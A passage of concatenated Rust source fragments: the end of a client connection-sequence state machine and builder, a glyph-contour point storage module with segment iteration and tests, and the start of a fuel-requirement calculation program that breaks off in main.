let response = self.current_sm.update_without_message();
if self.current_sm.is_terminated() {
self.__go_to_next_state();
} else {
self.__check_result(&response);
}
response
}
fn update_with_message<'msg: 'a, 'a>(&mut self, msg: &'a NowMessage<'msg>) -> ConnectionSMResult<'msg> {
let response = self.current_sm.update_with_message(msg);
if self.current_sm.is_terminated() {
self.__go_to_next_state();
} else {
self.__check_result(&response);
}
response
}
}
// builder
pub struct ClientConnectionSeqBuilder<UserCallback> {
available_auth_types: Vec<AuthType>,
authenticate_sm: Box<dyn ConnectionSM>,
capabilities: Vec<NowCapset<'static>>,
channels_to_open: Vec<NowChannelDef>,
user_callback: UserCallback,
}
impl<UserCallback> ClientConnectionSeqBuilder<UserCallback>
where
UserCallback: ConnectionSeqCallbackTrait,
{
pub fn available_auth_process(self, available_auth_types: Vec<AuthType>) -> Self {
Self {
available_auth_types,
..self
}
}
pub fn authenticate_sm<P: ConnectionSM + 'static>(self, sm: P) -> Self {
Self {
authenticate_sm: Box::new(sm),
..self
}
}
pub fn capabilities(self, capabilities: Vec<NowCapset<'static>>) -> Self {
Self { capabilities, ..self }
}
pub fn channels_to_open(self, channels_to_open: Vec<ChannelName>) -> Self {
Self {
channels_to_open: channels_to_open.into_iter().map(NowChannelDef::new).collect(),
..self
}
}
pub fn build(self) -> ClientConnectionSeqSM<UserCallback> {
ClientConnectionSeqSM::new(
self.user_callback,
self.available_auth_types,
self.authenticate_sm,
self.capabilities,
self.channels_to_open,
)
}
}
|
/// Raw storage for the points that make up a glyph contour
use std::collections::{HashMap, HashSet};
use std::ops::Range;
use std::sync::Arc;
use super::design_space::{DPoint, DVec2};
use super::point::{EntityId, PathPoint};
use super::selection::Selection;
use druid::kurbo::{Affine, CubicBez, Line, ParamCurve, PathSeg};
use druid::Data;
#[derive(Clone, Data)]
pub struct PathPoints {
path_id: EntityId,
points: protected::RawPoints,
/// when loading from norad we stash the norad identifiers here, so that
/// we can reuse them on save.
#[data(ignore)]
stashed_ids: Arc<HashMap<EntityId, norad::Identifier>>,
trailing: Option<DPoint>,
closed: bool,
}
/// A cursor for moving through a list of points.
pub struct Cursor<'a> {
idx: Option<usize>,
inner: &'a mut PathPoints,
}
/// A segment in a one-or-two parameter spline.
///
/// That is: this can be either part of a cubic bezier, or part of a hyperbezier.
///
/// We do not currently support quadratics.
#[derive(Clone, Copy, PartialEq)]
pub enum RawSegment {
Line(PathPoint, PathPoint),
Cubic(PathPoint, PathPoint, PathPoint, PathPoint),
}
/// A module to hide the implementation of the RawPoints type.
///
/// The motivation for this is simple: we want to be able to index into our
/// vec of points using `EntityId`s; to do this we need to keep a map from
/// those ids ot the actual indices in the underlying vec.
///
/// By hiding this implementation, we can ensure it is only used via the declared
/// API; in that API we can ensure we always keep our map up to date.
mod protected {
use super::{EntityId, PathPoint};
use druid::Data;
use std::cell::{Cell, RefCell};
use std::collections::HashMap;
use std::sync::Arc;
#[derive(Clone, Data)]
pub(super) struct RawPoints {
points: Arc<Vec<PathPoint>>,
// these two use interior mutability so that we can rebuild the indices
// in things like getters
#[data(ignore)]
indices: RefCell<Arc<HashMap<EntityId, usize>>>,
#[data(ignore)]
needs_to_rebuild_indicies: Cell<bool>,
}
impl RawPoints {
pub(super) fn new(points: Vec<PathPoint>) -> Self {
RawPoints {
points: Arc::new(points),
indices: RefCell::new(Arc::new(HashMap::new())),
needs_to_rebuild_indicies: Cell::new(true),
}
}
pub(super) fn len(&self) -> usize {
self.points.len()
}
pub(super) fn is_empty(&self) -> bool {
self.len() == 0
}
pub(super) fn as_ref(&self) -> &[PathPoint] {
&self.points
}
/// All mutable access invalidates the index map. It should be
/// avoided unless actual mutation is going to occur.
pub(super) fn as_mut(&mut self) -> &mut Vec<PathPoint> {
self.set_needs_rebuild();
Arc::make_mut(&mut self.points)
}
fn set_needs_rebuild(&self) {
self.needs_to_rebuild_indicies.set(true);
}
fn rebuild_if_needed(&self) {
if self.needs_to_rebuild_indicies.replace(false) {
let mut indices = self.indices.borrow_mut();
let indices = Arc::make_mut(&mut *indices);
indices.clear();
for (i, pt) in self.points.iter().enumerate() {
// may as well take this opportunity to ensure we don't have
// duplicate IDs somehow?
if let Some(existing) = indices.insert(pt.id, i) {
panic!(
"id {:?} exists twice: ({} & {}).\n{:?}",
pt.id, existing, i, self
)
}
}
}
}
pub(super) fn index_for_point(&self, item: EntityId) -> Option<usize> {
self.rebuild_if_needed();
self.indices.borrow().get(&item).copied()
}
pub(super) fn get(&self, item: EntityId) -> Option<&PathPoint> {
let idx = self.index_for_point(item)?;
self.as_ref().get(idx)
}
/// update a point using a closure.
///
/// This cannot remove the point, or change its id; this means we don't
/// need to invalidate our indicies.
pub(super) fn with_mut(&mut self, item: EntityId, f: impl FnOnce(&mut PathPoint)) {
self.rebuild_if_needed();
if let Some(idx) = self.index_for_point(item) {
if let Some(val) = Arc::make_mut(&mut self.points).get_mut(idx) {
f(val);
val.id = item;
}
}
}
pub(crate) fn clone_inner(&self) -> Vec<PathPoint> {
self.points.as_ref().to_owned()
}
}
impl std::fmt::Debug for RawPoints {
fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
for pt in self.points.as_ref() {
writeln!(f, "{:?}", pt)?;
}
Ok(())
}
}
}
impl PathPoints {
pub fn new(start_point: DPoint) -> Self {
let path_id = EntityId::next();
let start = PathPoint::on_curve(path_id, start_point);
PathPoints {
path_id,
points: protected::RawPoints::new(vec![start]),
closed: false,
trailing: None,
stashed_ids: Arc::new(HashMap::new()),
}
}
fn from_points_ignoring_parent(mut points: Vec<PathPoint>, closed: bool) -> Self {
let new_parent = EntityId::next();
for pt in &mut points {
pt.id = EntityId::new_with_parent(new_parent);
}
PathPoints::from_raw_parts(new_parent, points, None, None, closed)
}
pub fn from_raw_parts(
path_id: EntityId,
points: Vec<PathPoint>,
stashed_ids: Option<HashMap<EntityId, norad::Identifier>>,
trailing: Option<DPoint>,
closed: bool,
) -> Self {
assert!(!points.is_empty(), "path may not be empty");
assert!(
points.iter().all(|pt| pt.id.is_child_of(path_id)),
"{:#?}",
points
);
if !closed {
assert!(points.first().unwrap().is_on_curve());
}
let stashed_ids = Arc::new(stashed_ids.unwrap_or_default());
let mut this = PathPoints {
path_id,
points: protected::RawPoints::new(points),
stashed_ids,
trailing,
closed,
};
this.normalize();
if !this.debug_validate() {
panic!("constructed invalid points: {:?}", this);
}
this
}
pub fn len(&self) -> usize {
self.points.len()
}
pub fn closed(&self) -> bool {
self.closed
}
pub fn id(&self) -> EntityId {
self.path_id
}
pub(crate) fn norad_id_for_id(&self, point_id: EntityId) -> Option<norad::Identifier> {
self.stashed_ids.get(&point_id).cloned()
}
pub(crate) fn trailing(&self) -> Option<DPoint> {
self.trailing
}
pub fn take_trailing(&mut self) -> Option<DPoint> {
self.trailing.take()
}
pub fn set_trailing(&mut self, trailing: DPoint) {
self.trailing = Some(trailing);
}
pub fn as_slice(&self) -> &[PathPoint] {
self.points.as_ref()
}
pub(crate) fn points_mut(&mut self) -> &mut Vec<PathPoint> {
self.points.as_mut()
}
pub(crate) fn with_point_mut(&mut self, point: EntityId, f: impl FnOnce(&mut PathPoint)) {
self.points.with_mut(point, f)
}
/// Iterates points in order.
pub(crate) fn iter_points(&self) -> impl Iterator<Item = PathPoint> + '_ {
let (first, remaining_n) = if self.closed {
(
self.points.as_ref().last().copied(),
self.points.len().saturating_sub(1),
)
} else {
(None, self.points.len())
};
first
.into_iter()
.chain(self.points.as_ref().iter().take(remaining_n).copied())
}
pub fn iter_segments(&self) -> Segments {
let prev_pt = *self.start_point();
let idx = if self.closed() { 0 } else { 1 };
Segments {
points: self.points.clone(),
prev_pt,
idx,
}
}
/// Returns a cursor useful for modifying the path.
///
/// If you pass a point id, the cursor will start at that point; if not
/// it will start at the first point.
pub fn cursor(&mut self, id: Option<EntityId>) -> Cursor {
let idx = match id {
Some(id) => self.points.index_for_point(id),
None if self.closed => self.len().checked_sub(1),
None if self.points.is_empty() => None,
None => Some(0),
};
Cursor { idx, inner: self }
}
pub fn close(&mut self) -> EntityId {
assert!(!self.closed);
self.points_mut().rotate_left(1);
self.closed = true;
self.points.as_ref().last().unwrap().id
}
pub(crate) fn reverse_contour(&mut self) {
let last = if self.closed {
self.points.len() - 1
} else {
self.points.len()
};
self.points_mut()[..last].reverse();
}
fn first_idx(&self) -> usize {
if self.closed {
self.len() - 1
} else {
0
}
}
/// Push a new on-curve point onto the end of the point list.
///
/// The points must not be closed.
pub fn push_on_curve(&mut self, point: DPoint) -> EntityId {
assert!(!self.closed);
let point = PathPoint::on_curve(self.path_id, point);
self.points_mut().push(point);
point.id
}
pub fn split_segment(&mut self, old: RawSegment, pre: RawSegment, post: RawSegment) {
let insert_idx = bail!(self
.points
.index_for_point(old.start_id())
.and_then(|idx| self.next_idx(idx)));
let (existing_control_pts, points_to_insert) = match old {
RawSegment::Line(..) => (0, 1),
RawSegment::Cubic(..) => (2, 5),
};
let iter = pre.into_iter().skip(1).chain(post.into_iter().skip(1));
let self_id = self.id();
self.points.as_mut().splice(
insert_idx..insert_idx + existing_control_pts,
iter.take(points_to_insert).map(|mut next_pt| {
next_pt.reparent(self_id);
next_pt
}),
);
}
pub(crate) fn upgrade_line_seg(&mut self, start: EntityId, p1: PathPoint, p2: PathPoint) {
let cursor = self.cursor(Some(start));
assert!(cursor.point().unwrap().is_on_curve());
assert!(cursor.peek_next().unwrap().is_on_curve());
let start_idx = bail!(self.points.index_for_point(start));
let insert_idx = bail!(self.next_idx(start_idx));
self.points.as_mut().insert(insert_idx, p1);
self.points.as_mut().insert(insert_idx + 1, p2);
}
fn prev_idx(&self, idx: usize) -> Option<usize> {
if self.closed() {
Some(((self.len() + idx) - 1) % self.len())
} else {
idx.checked_sub(1)
}
}
fn next_idx(&self, idx: usize) -> Option<usize> {
if self.closed() {
Some((idx + 1) % self.len())
} else if idx < self.len() - 1 {
Some(idx + 1)
} else {
None
}
}
pub(crate) fn path_point_for_id(&self, point: EntityId) -> Option<PathPoint> {
assert!(point.is_child_of(self.path_id));
self.points.get(point).copied()
}
pub(crate) fn prev_point(&self, point: EntityId) -> Option<PathPoint> {
assert!(point.is_child_of(self.path_id));
self.points
.index_for_point(point)
.and_then(|idx| self.prev_idx(idx))
.and_then(|idx| self.points.as_ref().get(idx))
.copied()
}
pub(crate) fn next_point(&self, point: EntityId) -> Option<PathPoint> {
assert!(point.is_child_of(self.path_id));
self.points
.index_for_point(point)
.and_then(|idx| self.next_idx(idx))
.and_then(|idx| self.points.as_ref().get(idx))
.copied()
}
pub fn start_point(&self) -> &PathPoint {
assert!(!self.points.is_empty(), "empty path is not constructable");
self.points.as_ref().get(self.first_idx()).unwrap()
}
/// Returns the 'last' on-curve point.
///
/// In a closed path, this is the on-curve point preceding the start point.
/// In an open path, this is the point at the end of the array.
/// In a length-one path, this is the only point.
pub(crate) fn last_on_curve_point(&self) -> PathPoint {
assert!(!self.points.is_empty(), "empty path is not constructable");
let idx = if self.closed {
self.points.len().saturating_sub(2)
} else {
self.points.len() - 1
};
self.points.as_ref()[idx]
}
pub fn transform_all(&mut self, affine: Affine, anchor: DPoint) {
let anchor = anchor.to_dvec2();
self.points_mut()
.iter_mut()
.for_each(|pt| pt.transform(affine, anchor));
if let Some(trailing) = self.trailing() {
//FIXME: what about the anchor?
let new_trailing = affine * trailing.to_raw();
self.trailing = Some(DPoint::from_raw(new_trailing));
}
}
/// Apply the provided transform to all selected points, updating handles as
/// appropriate.
///
/// The `anchor` argument is a point that should be treated as the origin
/// when applying the transform, which is used for things like scaling from
/// a fixed point.
pub fn transform_points(
&mut self,
points: &[EntityId],
affine: Affine,
anchor: DPoint,
) -> HashSet<EntityId> {
let to_xform = self.points_for_points(points);
let anchor = anchor.to_dvec2();
for point in &to_xform {
self.points
.with_mut(*point, |pt| pt.transform(affine, anchor));
if let Some((on_curve, handle)) = self.tangent_handle(*point) {
if !to_xform.contains(&handle) {
self.adjust_handle_angle(*point, on_curve, handle);
}
}
}
to_xform
}
/// For a list of points, returns a set including those points and any
/// adjacent off-curve points.
fn points_for_points(&mut self, points: &[EntityId]) -> HashSet<EntityId> {
let mut to_xform = HashSet::new();
for point in points {
let cursor = self.cursor(Some(*point));
if let Some(current) = cursor.point() {
to_xform.insert(*point);
if current.is_on_curve() {
if let Some(prev) = cursor.peek_prev().filter(|pp| pp.is_off_curve()) {
to_xform.insert(prev.id);
}
if let Some(next) = cursor.peek_next().filter(|pp| pp.is_off_curve()) {
to_xform.insert(next.id);
}
}
}
}
to_xform
}
pub fn update_handle(&mut self, bcp1: EntityId, mut dpt: DPoint, is_locked: bool) {
if let Some((on_curve, bcp2)) = self.tangent_handle_opt(bcp1) {
if is_locked {
dpt = dpt.axis_locked_to(bail!(self.points.get(on_curve)).point);
}
self.points.with_mut(bcp1, |p| p.point = dpt);
if let Some(bcp2) = bcp2 {
self.adjust_handle_angle(bcp1, on_curve, bcp2);
}
}
}
/// Update a tangent handle in response to the movement of the partner handle.
/// `bcp1` is the handle that has moved, and `bcp2` is the handle that needs
/// to be adjusted.
fn adjust_handle_angle(&mut self, bcp1: EntityId, on_curve: EntityId, bcp2: EntityId) {
let p1 = bail!(self.points.get(bcp1));
let p2 = bail!(self.points.get(on_curve));
let p3 = bail!(self.points.get(bcp2));
let raw_angle = (p1.point - p2.point).to_raw();
if raw_angle.hypot() == 0.0 {
return;
}
// that angle is in the opposite direction, so flip it
let norm_angle = raw_angle.normalize() * -1.0;
let handle_len = (p3.point - p2.point).hypot();
let new_handle_offset = DVec2::from_raw(norm_angle * handle_len);
let new_pos = p2.point + new_handle_offset;
self.points.with_mut(bcp2, |pt| pt.point = new_pos)
}
/// Given the idx of an off-curve point, check if that point has a tangent
/// handle; that is, if the nearest on-curve point's other neighbour is
/// also an off-curve point, and the on-curve point is smooth.
///
/// Returns the index for the on_curve point and the 'other' handle
/// for an offcurve point, if it exists.
fn tangent_handle(&mut self, point: EntityId) -> Option<(EntityId, EntityId)> {
if let Some((on_curve, Some(bcp2))) = self.tangent_handle_opt(point) {
Some((on_curve, bcp2))
} else {
None
}
}
/// Given the idx of an off-curve point, return its neighbouring on-curve
/// point; if that point is smooth and its other neighbour is also an
/// off-curve, it returns that as well.
pub(crate) fn tangent_handle_opt(
&mut self,
point: EntityId,
) -> Option<(EntityId, Option<EntityId>)> {
let cursor = self.cursor(Some(point));
if cursor.point().map(|pp| pp.is_off_curve()).unwrap_or(false) {
let on_curve = cursor
.peek_next()
.filter(|p| p.is_on_curve())
.or_else(|| cursor.peek_prev().filter(|p| p.is_on_curve()))
.copied()
.unwrap(); // all off curve points have one on_curve neighbour
if on_curve.is_smooth() {
let cursor = self.cursor(Some(on_curve.id));
let other_off_curve = cursor
.peek_next()
.filter(|p| p.is_off_curve() && p.id != point)
.or_else(|| {
cursor
.peek_prev()
.filter(|p| p.is_off_curve() && p.id != point)
})
.map(|p| p.id);
Some((on_curve.id, other_off_curve))
} else {
Some((on_curve.id, None))
}
} else {
None
}
}
/// Delete the provided points, as well as any other points that would
/// not be valid in the absense of the provided point.
///
/// For instance: if you delete a single cubic off-curve point, we will
/// delete both of the off-curves in that segment; or if you delete an
/// on curve that has off-curves on both sides, we will delete all three
/// points.
///
/// Returns a point that can be used as a selection in the given path,
/// if appropriate: for instance if you delete the last point in the path
/// we will select the new last point; delete the first point and we will
/// select the new first point.
pub fn delete_points(&mut self, points: &[EntityId]) -> Option<EntityId> {
// stuff for debugging:
let pre_points = self.points.clone();
let mut to_delete = HashSet::with_capacity(points.len());
let mut new_selection = None;
for point in points {
self.points_to_delete(*point, &mut to_delete);
new_selection = self
.iter_points()
.map(|pp| pp.id)
.take_while(|id| {
!to_delete.contains(id)
&& (new_selection.is_none() || Some(*id) != new_selection)
})
.last();
self.points_mut().retain(|p| !to_delete.contains(&p.id));
to_delete.clear();
}
self.normalize();
if !self.debug_validate() {
eprintln!(
"error deleting points: {:?}\nfrom points\n{:?}, to_delete: {:?}\nresult:\n{:?}",
points, pre_points, &to_delete, &self.points,
);
self.points = pre_points;
return None;
}
if self.as_slice().is_empty() {
self.closed = false;
}
new_selection.or_else(|| self.iter_points().next().map(|pp| pp.id))
}
//FIXME: this is currently buggy :(
fn points_to_delete(&mut self, point_id: EntityId, to_delete: &mut HashSet<EntityId>) {
let (point, prev, next) = {
let cursor = self.cursor(Some(point_id));
// if *this* point doesn't exist we should bail
let point = bail!(cursor.point().copied());
(
point,
cursor.peek_prev().copied(),
cursor.peek_next().copied(),
)
};
let prev_is_offcurve = prev.map(|pp| pp.is_off_curve()).unwrap_or(false);
let next_is_offcurve = next.map(|pp| pp.is_off_curve()).unwrap_or(false);
to_delete.insert(point.id);
if point.is_off_curve() {
if let Some(other_off_curve) = prev
.filter(|pp| pp.is_off_curve())
.or_else(|| next.filter(|pp| pp.is_off_curve()))
{
to_delete.insert(other_off_curve.id);
}
} else if prev_is_offcurve && next_is_offcurve {
to_delete.extend(prev.map(|pp| pp.id));
to_delete.extend(next.map(|pp| pp.id));
// curve at end of open path: remove whole segment
} else if prev_is_offcurve && next.is_none() {
let prev2 = self
.cursor(prev.map(|pp| pp.id))
.peek_prev()
.map(|pp| pp.id);
to_delete.extend(prev.map(|pp| pp.id));
to_delete.extend(prev2);
} else if next_is_offcurve && prev.is_none() {
let next2 = self
.cursor(next.map(|pp| pp.id))
.peek_next()
.map(|pp| pp.id);
to_delete.extend(next.map(|pp| pp.id));
to_delete.extend(next2);
}
}
/// Check if our internal structure is consistent.
fn debug_validate(&self) -> bool {
for window in self.points.as_ref().windows(3) {
match window {
[a, b, c] if a.is_off_curve() && b.is_off_curve() && c.is_off_curve() => {
return false
}
_ => continue,
}
}
// a closed path should always end in a line-to
if self
.points
.as_ref()
.last()
.map(|pt| pt.is_off_curve())
.unwrap_or(false)
&& self
.points
.as_ref()
.first()
.map(|pt| pt.is_on_curve())
.unwrap_or(false)
{
return false;
}
let path_id = self.id();
if self.iter_points().any(|pp| !pp.id.is_child_of(path_id)) {
return false;
}
true
}
/// Normalize our representation, such as after deleting points.
///
/// In particular, this ensures that a closed path always ends with
/// an on-curve point.
fn normalize(&mut self) {
// if we're closed, make sure we end with an on-curve
if self.closed {
let to_rotate = self
.as_slice()
.iter()
.rev()
.take_while(|pp| pp.is_off_curve())
.count();
self.points_mut().rotate_right(to_rotate);
}
}
pub fn last_segment_is_curve(&self) -> bool {
let len = self.points.len();
len > 2 && !self.points.as_ref()[len - 2].is_on_curve()
}
/// lection, return the paths generated by the points in this
/// path, that are in the selection.
pub(crate) fn paths_for_selection(&self, selection: &Selection) -> Vec<PathPoints> {
let (on_curve_count, selected_count) =
self.iter_points().fold((0, 0), |(total, selected), point| {
if point.is_on_curve() {
let sel = if selection.contains(&point.id) { 1 } else { 0 };
(total + 1, selected + sel)
} else {
(total, selected)
}
});
// all our on-curves are selected, so just return us.
if selected_count == on_curve_count {
// sanity check
assert!(on_curve_count > 0);
return vec![self.clone()];
// no selection, return nothing
} else if selected_count == 0 {
return Vec::new();
}
let mut result = Vec::new();
let mut current: Option<Vec<PathPoint>> = None;
for seg in self.iter_segments() {
let has_start = selection.contains(&seg.start_id());
let has_end = selection.contains(&seg.end_id());
match (has_start, has_end) {
(true, false) => {
let single_point_path = match current.take() {
None => true,
// our start point is the same as the end point;
// just append the current path
Some(pts) => {
let single_point = pts.last() != Some(&seg.start());
//let path = CubicPath::from_points_ignoring_parent(pts, false);
let path = Self::from_points_ignoring_parent(pts, false);
result.push(path);
single_point
}
};
if single_point_path {
result.push(Self::new(seg.start().point));
}
}
(true, true) => match current.take() {
None => current = Some(seg.points().collect()),
Some(mut pts) => {
if pts.last() != Some(&seg.start()) {
let path = Self::from_points_ignoring_parent(pts, false);
result.push(path);
current = Some(seg.points().collect());
} else {
pts.extend(seg.points().skip(1));
current = Some(pts);
}
}
},
(false, true) if seg.end() == self.last_on_curve_point() && self.closed() => {
result.push(Self::new(seg.end().point));
}
// we can can just continue, nothing to add
(false, true) => (),
(false, false) => (),
}
}
if let Some(pts) = current.take() {
let path = Self::from_points_ignoring_parent(pts, false);
result.push(path);
}
if result.len() < 2 {
return result;
}
// cleanup: if the last selected segment joins the first, combine them
if result.first().unwrap().start_point().point
== result.last().unwrap().last_on_curve_point().point
&& self.closed()
{
let first = result.remove(0);
let last = result.pop().unwrap();
let points = last
.iter_points()
.chain(first.iter_points().skip(1))
.collect();
result.push(Self::from_points_ignoring_parent(points, false));
}
result
}
}
impl Cursor<'_> {
pub fn point(&self) -> Option<&PathPoint> {
self.idx.map(|idx| &self.inner.points.as_ref()[idx])
}
pub fn point_mut(&mut self) -> Option<&mut PathPoint> {
let idx = self.idx?;
self.inner.points.as_mut().get_mut(idx)
}
pub fn move_next(&mut self) {
self.idx = self.idx.and_then(|idx| self.inner.next_idx(idx))
}
pub fn move_prev(&mut self) {
if let Some(idx) = self.idx {
self.idx = self.inner.prev_idx(idx);
}
}
pub fn peek_next(&self) -> Option<&PathPoint> {
self.idx
.and_then(|idx| self.inner.next_idx(idx))
.and_then(|idx| self.inner.points.as_ref().get(idx))
}
pub fn peek_prev(&self) -> Option<&PathPoint> {
self.idx
.and_then(|idx| self.inner.prev_idx(idx))
.and_then(|idx| self.inner.points.as_ref().get(idx))
}
}
impl RawSegment {
pub(crate) fn start(&self) -> PathPoint {
match self {
RawSegment::Line(p1, _) => *p1,
RawSegment::Cubic(p1, ..) => *p1,
}
}
pub(crate) fn end(&self) -> PathPoint {
match self {
RawSegment::Line(_, p2) => *p2,
RawSegment::Cubic(.., p2) => *p2,
}
}
pub(crate) fn start_id(&self) -> EntityId {
self.start().id
}
pub(crate) fn end_id(&self) -> EntityId {
self.end().id
}
pub(crate) fn points(&self) -> impl Iterator<Item = PathPoint> {
let mut idx = 0;
let seg = *self;
std::iter::from_fn(move || {
idx += 1;
match (&seg, idx) {
(_, 1) => Some(seg.start()),
(RawSegment::Line(_, p2), 2) => Some(*p2),
(RawSegment::Cubic(_, p2, _, _), 2) => Some(*p2),
(RawSegment::Cubic(_, _, p3, _), 3) => Some(*p3),
(RawSegment::Cubic(_, _, _, p4), 4) => Some(*p4),
_ => None,
}
})
}
pub(crate) fn iter_ids(&self) -> impl Iterator<Item = EntityId> {
self.points().map(|point| point.id)
}
/// Assumes that a cubic segment is a cubic bezier.
pub(crate) fn to_kurbo(self) -> PathSeg {
match self {
RawSegment::Line(p1, p2) => {
PathSeg::Line(Line::new(p1.point.to_raw(), p2.point.to_raw()))
}
RawSegment::Cubic(p1, p2, p3, p4) => PathSeg::Cubic(CubicBez::new(
p1.point.to_raw(),
p2.point.to_raw(),
p3.point.to_raw(),
p4.point.to_raw(),
)),
}
}
pub(crate) fn subsegment(self, range: Range<f64>) -> Self {
let subseg = self.to_kurbo().subsegment(range);
let path_id = self.start_id().parent();
match subseg {
PathSeg::Line(Line { p0, p1 }) => RawSegment::Line(
PathPoint::on_curve(path_id, DPoint::from_raw(p0)),
PathPoint::on_curve(path_id, DPoint::from_raw(p1)),
),
PathSeg::Cubic(CubicBez { p0, p1, p2, p3 }) => {
let p0 = PathPoint::on_curve(path_id, DPoint::from_raw(p0));
let p1 = PathPoint::off_curve(path_id, DPoint::from_raw(p1));
let p2 = PathPoint::off_curve(path_id, DPoint::from_raw(p2));
let p3 = PathPoint::on_curve(path_id, DPoint::from_raw(p3));
RawSegment::Cubic(p0, p1, p2, p3)
}
PathSeg::Quad(_) => panic!("quads are not supported"),
}
}
}
#[derive(Serialize, Deserialize)]
struct SerializedPoints {
points: Vec<PathPoint>,
closed: bool,
}
use serde::{Deserialize, Deserializer, Serialize, Serializer};
impl Serialize for PathPoints {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
where
S: Serializer,
{
let points = SerializedPoints {
points: self.points.clone_inner(),
closed: self.closed,
};
points.serialize(serializer)
}
}
impl<'de> Deserialize<'de> for PathPoints {
fn deserialize<D>(deserializer: D) -> Result<PathPoints, D::Error>
where
D: Deserializer<'de>,
{
let SerializedPoints { points, closed } = Deserialize::deserialize(deserializer)?;
Ok(PathPoints::from_points_ignoring_parent(points, closed))
}
}
/// An iterator over the segments in a path list.
pub struct Segments {
points: protected::RawPoints,
prev_pt: PathPoint,
idx: usize,
}
impl Iterator for Segments {
type Item = RawSegment;
fn next(&mut self) -> Option<RawSegment> {
if self.idx >= self.points.len() {
return None;
}
let seg_start = self.prev_pt;
let seg = if !self.points.as_ref()[self.idx].is_on_curve() {
let p1 = self.points.as_ref()[self.idx];
let p2 = self.points.as_ref()[self.idx + 1];
self.prev_pt = match self.points.as_ref().get(self.idx + 2) {
Some(pt) => *pt,
None => {
panic!(
"segment iter OOB: self.idx {}, points: {:?}",
self.idx, &self.points
);
}
};
self.idx += 3;
assert!(
self.prev_pt.typ.is_on_curve(),
"{:#?} idx {}",
self.points.as_ref(),
self.idx
);
RawSegment::Cubic(seg_start, p1, p2, self.prev_pt)
} else {
self.prev_pt = self.points.as_ref()[self.idx];
self.idx += 1;
RawSegment::Line(seg_start, self.prev_pt)
};
Some(seg)
}
}
/// An iterator over the points in a segment
pub struct SegmentPointIter {
seg: RawSegment,
idx: usize,
}
impl std::iter::IntoIterator for RawSegment {
type Item = PathPoint;
type IntoIter = SegmentPointIter;
fn into_iter(self) -> Self::IntoIter {
SegmentPointIter { seg: self, idx: 0 }
}
}
impl Iterator for SegmentPointIter {
type Item = PathPoint;
fn next(&mut self) -> Option<PathPoint> {
self.idx += 1;
match (self.idx, self.seg) {
(1, RawSegment::Line(p1, _)) => Some(p1),
(2, RawSegment::Line(_, p2)) => Some(p2),
(1, RawSegment::Cubic(p1, ..)) => Some(p1),
(2, RawSegment::Cubic(_, p2, ..)) => Some(p2),
(3, RawSegment::Cubic(_, _, p3, ..)) => Some(p3),
(4, RawSegment::Cubic(_, _, _, p4)) => Some(p4),
_ => None,
}
}
}
impl std::fmt::Debug for RawSegment {
#[allow(clippy::many_single_char_names)]
fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
match self {
RawSegment::Line(one, two) => write!(
f,
"({:?}->{:?}) Line({:?}, {:?})",
self.start_id(),
self.end_id(),
one.point,
two.point
),
RawSegment::Cubic(a, b, c, d) => write!(
f,
"Cubic({:?}, {:?}, {:?}, {:?})",
a.point, b.point, c.point, d.point
),
}
}
}
impl std::fmt::Debug for PathPoints {
fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
let closed = if self.closed { "Closed" } else { "Open" };
writeln!(f, "PathPoints(id: {:?}) ({}):", self.id(), closed)?;
for pt in self.points.as_ref() {
writeln!(f, "\t{:?}", pt)?;
}
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn upgrade_line_seg() {
let mut points = PathPoints::new(DPoint::new(10., 10.));
let p1 = points.push_on_curve(DPoint::new(10., 20.));
let p2 = points.push_on_curve(DPoint::new(20., 20.));
let p0 = points.close();
let path_id = points.id();
points.upgrade_line_seg(
p0,
PathPoint::off_curve(path_id, DPoint::new(15., 15.)),
PathPoint::off_curve(path_id, DPoint::new(5., 5.)),
);
assert!(points.debug_validate(), "{:?}", points);
points.upgrade_line_seg(
p1,
PathPoint::off_curve(path_id, DPoint::new(15., 15.)),
PathPoint::off_curve(path_id, DPoint::new(5., 5.)),
);
assert!(points.debug_validate(), "{:?}", points);
points.upgrade_line_seg(
p2,
PathPoint::off_curve(path_id, DPoint::new(15., 15.)),
PathPoint::off_curve(path_id, DPoint::new(5., 5.)),
);
assert!(points.debug_validate(), "{:?}", points);
}
#[test]
fn delete_points() {
let path_id = EntityId::next();
let p0 = PathPoint::on_curve(path_id, DPoint::new(10., 10.));
let p1 = PathPoint::on_curve(path_id, DPoint::new(20., 10.));
let p2 = PathPoint::on_curve(path_id, DPoint::new(20., 20.));
let points = PathPoints::from_raw_parts(path_id, vec![p0, p1, p2], None, None, false);
assert_eq!(
vec![p0.id, p1.id, p2.id],
points.iter_points().map(|pp| pp.id).collect::<Vec<_>>()
);
dbg!(p0.id, p1.id, p2.id);
assert_eq!(points.clone().delete_points(&[p0.id]), Some(p1.id));
assert_eq!(points.clone().delete_points(&[p1.id]), Some(p0.id));
assert_eq!(points.clone().delete_points(&[p2.id]), Some(p1.id));
let points = PathPoints::from_raw_parts(path_id, vec![p1, p2, p0], None, None, true);
assert_eq!(
vec![p0.id, p1.id, p2.id],
points.iter_points().map(|pp| pp.id).collect::<Vec<_>>()
);
assert_eq!(points.clone().delete_points(&[p1.id]), Some(p0.id));
assert_eq!(points.clone().delete_points(&[p2.id]), Some(p1.id));
assert_eq!(points.clone().delete_points(&[p0.id]), Some(p2.id));
}
}
|
use std::{
env,
fs::File,
io::{prelude::*, Error, ErrorKind, BufReader},
path::Path
};
fn modules_from_file(filename: impl AsRef<Path>) -> Result<Vec<i32>, Error> {
let input_file = File::open(filename).expect("[-] Error: could not read file.");
let reader = BufReader::new(input_file);
let mut module_masses = Vec::new();
for line in reader.lines() {
module_masses.push(line?
.trim().parse::<i32>()
.map_err(|e| Error::new(ErrorKind::InvalidData, e))?);
}
Ok(module_masses)
}
fn compute_mass(mass: i32) -> i32 {
let fin_mass: i32 = mass/3 - 2;
fin_mass
}
fn fuel_partial_requirements(module_masses: &Vec<i32>) -> i32 {
let mut partial_fuel: i32 = 0;
for mass in module_masses {
partial_fuel += compute_mass(*mass);
}
partial_fuel
}
fn fuel_final_requirements(module_masses: &Vec<i32>) -> i32 {
let mut total_fuel: i32 = 0;
let mut partial_fuel: i32 = 0;
for mass in module_masses {
partial_fuel = compute_mass(*mass);
while partial_fuel > 0 {
total_fuel += partial_fuel;
partial_fuel = compute_mass(partial_fuel);
}
}
total_fuel
}
fn main() {
let args: Vec<String> = env::args().collect();
